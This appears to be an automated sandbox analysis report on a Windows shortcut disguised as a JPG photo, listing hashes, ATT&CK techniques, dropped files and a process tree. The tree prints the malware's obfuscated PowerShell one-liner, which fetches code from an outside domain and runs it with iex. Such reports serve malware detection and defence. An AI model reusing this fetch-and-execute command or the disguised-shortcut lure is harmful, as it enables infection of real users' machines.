7967eb51355bde1fe06512fdada08b426732531eeb08e3dfbfd5eb76c27c5185

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/07/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_124308.jpg.lnk
Size 1KB
Sample260728-mcaeaagf45
SHA256 7967eb51355bde1fe06512fdada08b426732531eeb08e3dfbfd5eb76c27c5185
MD5 6d2933c12ba6de047b78416c36655d0c
SHA1 969e657189f257ad3b4fbba2a920ffcf36651a47
SHA512 8df5c862c2684ff22f86a6e2cde8ae22f2f0cb53a3233da700bab77d956a6628248e2f995b1f790a9435e27ecb8951b2d221d65e1ae1bb48c52c2ad4310d0dd1
TLSH
T15D21CE211FB20338D6BB8B795C76632187227A0ADB458FDF13C041949864120F4A8F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	5096	powershell.exe
10	5096	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2172	cmd.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5096	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2172 wrote to memory of 5096	2172	cmd.exe	87
PID 5096 wrote to memory of 3156	5096	powershell.exe	93
PID 3156 wrote to memory of 560	3156	csc.exe	94

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_124308.jpg.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('rvphotoinstaynow.shop','rese')[1,0] -join $l1dGSIa) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5096
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kfnbec3i\kfnbec3i.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3156
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES71B0.tmp" "c:\Users\Admin\AppData\Local\Temp\kfnbec3i\CSCCE884507CF4D4D1DB78411F971C572D8.TMP"
      4⤵
      PID:560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES71B0.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES71B0.tmp
Size 1KB
SHA256 c507bea2d838a80857fd0eb1f2d67d6f19048ca3dbfb2554b9fb4adc8347444a
MD5 f74681c29ec1386655613aa5fbc52254
SHA1 684ef5aaef2077632a786f9a6c93ee5c46530e2f
SHA512 ec2c44b74191b81e11fe9a4337521967a465c8fad9efd98a5d412e080366fbd0d9d8d5388192081bd0e5a03909d298555957abf649def59ef72b393d0b1c97db
TLSH
T14F21AB0583E94B1FF0B35731ADF6136BA238FD58EFA2939B8580422C2C51544EEE1E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_fwktzbum.vg1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fwktzbum.vg1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

kfnbec3i.dll

Path C:\Users\Admin\AppData\Local\Temp\kfnbec3i\kfnbec3i.dll
Size 3KB
SHA256 3a9688df54375231327a3bfd41c65a5a1dcbcc4667f6dfa34ccb7f87e875ae1f
MD5 6fd42a4bc9c7ad5d62dec0befcdf9c3b
SHA1 b50ab8dcd3acdfd0b5adecf7d8171ffb17dd3f7e
SHA512 3418cf10538b2af8730c493150693218ceb2e82cacb91990b294ad7b6ff7e6db92458b89e85ace65a6b44307e3823c1bcece25186356b6905927ffa714b86807
TLSH
T10A51CA1A97E8466BE4670734AEF3436737B8F8109FB2676959800229AC64B545E31FB0
MD5 SHA1 SHA512 TLSH

Submit Download

CSCCE884507CF4D4D1DB78411F971C572D8.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\kfnbec3i\CSCCE884507CF4D4D1DB78411F971C572D8.TMP
Size 652B
SHA256 21fa36ddaf5a43ed78989c27c0dbb8e1338dc02afe1c5d442eabdba127c015e4
MD5 2a9c27b2769a27390a936fa9f181dd37
SHA1 b72529b534e68f30ba45637b831aacd42190e4e7
SHA512 3880f11fab1af25f8629dca19b7fcb53b8e22ad88f12ef20511a0285cd71239bbc3db0b05a389b94452723c80b437b4d96192e560df7c8ad6a44aa9cb75c4064
TLSH
T1D5F0820963F8020EF4F34B35FDF683A395A8BC65DE3293ED5540431D2C649108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

kfnbec3i.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\kfnbec3i\kfnbec3i.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

kfnbec3i.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\kfnbec3i\kfnbec3i.cmdline
Size 369B
SHA256 99db6cb7dfc8caa0c3aedd275ad7340e35a9caff7051dc8808ded023a5a10385
MD5 b3e7065550f2a32afedd0a7bbb6f3b45
SHA1 35d27a0e5986ef7a50495d4ecc104f95fdd0a814
SHA512 171a9961fdd9ae274c4ed65d10d7fea5169f530d89cb0b387defacefa8cfca17bed023c3cc19e9301c16310d781a7b6da740e3f43d2537ff91a85c4461b3bed5
TLSH
T1F6E0683A8296C67E05DA1857357BC4BC827706C32E803FC850A5470ED0F7100E7E2B59
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5096-9-0x000001FBFB460000-0x000001FBFB482000-memory.dmp

Download

memory/5096-3-0x000001FBFB510000-0x000001FBFB520000-memory.dmp

Download

memory/5096-2-0x000001FBFB510000-0x000001FBFB520000-memory.dmp

Download

memory/5096-24-0x000001FBE3340000-0x000001FBE3348000-memory.dmp

Download

memory/5096-25-0x000001FBFB510000-0x000001FBFB520000-memory.dmp

Download

memory/5096-27-0x000001FBFB510000-0x000001FBFB520000-memory.dmp

Download

memory/5096-26-0x000001FBFB510000-0x000001FBFB520000-memory.dmp

Download

memory/5096-28-0x000001FBFD890000-0x000001FBFD9DE000-memory.dmp

Download

memory/5096-29-0x000001FBFB510000-0x000001FBFB520000-memory.dmp

Download